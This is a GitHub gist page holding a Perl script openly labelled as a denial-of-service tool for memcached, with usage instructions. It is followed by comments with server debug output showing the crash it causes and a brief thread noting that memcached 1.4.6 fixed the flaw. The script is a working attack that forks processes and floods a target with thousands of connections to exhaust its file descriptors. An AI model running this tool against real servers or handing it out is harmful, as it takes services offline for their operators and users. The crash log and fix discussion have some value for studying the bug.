Skip to content

Instantly share code, notes, and snippets.

@mala
Created August 13, 2010 11:49
Show Gist options
  • Star 11 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save mala/522741 to your computer and use it in GitHub Desktop.
Save mala/522741 to your computer and use it in GitHub Desktop.
DoS for memcached
#!/usr/local/bin/perl
# DoS tool for memcached
# ulimit -n 15000; perl memcachedos.pl 127.0.0.1 11211 3
# original: http://gist.github.com/522741
# This is Public Domain Software
use strict;
use warnings;
use AnyEvent;
use AnyEvent::Socket;
die "$0 <host> <port> <fork num>" unless @ARGV;
# Options
my $maxconn = 10000;
my $activeconn = 900;
my $start_at = time;
my ($host, $port, $fork_num) = @ARGV;
if ($fork_num) {
for (1..$fork_num) {
my $pid = fork;
if ($pid) { memcachedos() }
}
} else {
memcachedos();
}
sub memcachedos {
my $cv = AE::cv;
my ($i, $success, $fail, $closed) = (0,0,0,0);
my $last_error = "";
my @fh;
my $closeconn = sub {
my $nfh = int( rand(@fh) );
my $fh = splice( @fh, $nfh, 1 );
return unless $fh;
my $ready; $ready = AE::io $fh, 1, sub {
print $fh "stats\n";
undef $ready;
close $fh;
$closed++;
};
};
my $logger = AE::timer 0, 3, sub {
printf "TIME:%s PID:%s Connect:%s Active:%s Success:%s Closed:%s Fail:%s Msg:%s\n", time - $start_at, $$,
$i, scalar @fh, $success, $closed, $fail, $last_error;
};
# my $t1 = AE::timer 1000, 0, sub { $cv->send };
my $t2 = AE::timer 0, 0.0001, sub {
return if @fh > $maxconn;
tcp_connect $host, $port, sub {
$i++;
my ($fh) = @_;
if ( !$fh ) {
$fail++;
$last_error = $!;
$closeconn->();
return;
}
$success++;
push @fh, $fh;
my $ready;
$ready = AE::io $fh, 1, sub {
print $fh "stats\n";
undef $ready;
};
}, sub { 0.1 }
};
my $t3 = AE::timer 0, 0.001, sub { $closeconn->() if ( $activeconn < @fh ) };
$cv->recv;
}
@mala
Copy link
Author

mala commented Aug 14, 2010

751: going from conn_read to conn_closing
<751 connection closed.
633: going from conn_write to conn_new_cmd
633: going from conn_new_cmd to conn_waiting
633: going from conn_waiting to conn_read
760: going from conn_read to conn_parse_cmd
760: Client using the ascii protocol
<760 stats
760: going from conn_parse_cmd to conn_write
760: going from conn_write to conn_new_cmd
760: going from conn_new_cmd to conn_parse_cmd
<760 stats
760: going from conn_parse_cmd to conn_write
760: going from conn_write to conn_new_cmd
760: going from conn_new_cmd to conn_waiting
760: going from conn_waiting to conn_read
59: going from conn_read to conn_parse_cmd
59: Client using the ascii protocol
<59 stats
59: going from conn_parse_cmd to conn_write
59: going from conn_write to conn_new_cmd
59: going from conn_new_cmd to conn_parse_cmd
<59 stats
59: going from conn_parse_cmd to conn_write
59: going from conn_write to conn_new_cmd
59: going from conn_new_cmd to conn_waiting
59: going from conn_waiting to conn_read
267: going from conn_read to conn_parse_cmd
267: Client using the ascii protocol
<267 stats
267: going from conn_parse_cmd to conn_write
267: going from conn_write to conn_new_cmd
267: going from conn_new_cmd to conn_parse_cmd
<267 stats
267: going from conn_parse_cmd to conn_write
267: going from conn_write to conn_new_cmd
267: going from conn_new_cmd to conn_waiting
267: going from conn_waiting to conn_read
709: going from conn_read to conn_parse_cmd
709: Client using the ascii protocol
<709 stats
709: going from conn_parse_cmd to conn_write
709: going from conn_write to conn_new_cmd
709: going from conn_new_cmd to conn_parse_cmd
<709 stats
709: going from conn_parse_cmd to conn_write
709: going from conn_write to conn_new_cmd
709: going from conn_new_cmd to conn_waiting
709: going from conn_waiting to conn_read
387: going from conn_read to conn_parse_cmd
387: Client using the ascii protocol
<387 stats
387: going from conn_parse_cmd to conn_write
387: going from conn_write to conn_new_cmd
387: going from conn_new_cmd to conn_parse_cmd
<387 stats
387: going from conn_parse_cmd to conn_write
387: going from conn_write to conn_new_cmd
387: going from conn_new_cmd to conn_waiting
387: going from conn_waiting to conn_read
<1023 new auto-negotiating client connection
event_add: No such file or directory
Can't listen for events on fd 1023
387: going from conn_read to conn_closing
<387 connection closed.
538: going from conn_read to conn_parse_cmd
538: Client using the ascii protocol
<538 stats
[err] event_queue_remove: 0x8ab54e0(fd 26) not on queue 8

@kzk
Copy link

kzk commented Aug 14, 2010

what versions of memcached + libevent are you using?

@micrub
Copy link

micrub commented Apr 3, 2012

I experiencing same issue with memcached 1.4.5 and libevent-1.4-2 (debian squeeze) , some times memcache crashed with [err] event_queue_remove: error , while having to many connections.

@mala
Copy link
Author

mala commented Apr 4, 2012

Hi @micrub
This issue has been fixed in memcached 1.4.6
http://code.google.com/p/memcached/wiki/ReleaseNotes146

@micrub
Copy link

micrub commented Apr 4, 2012

Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment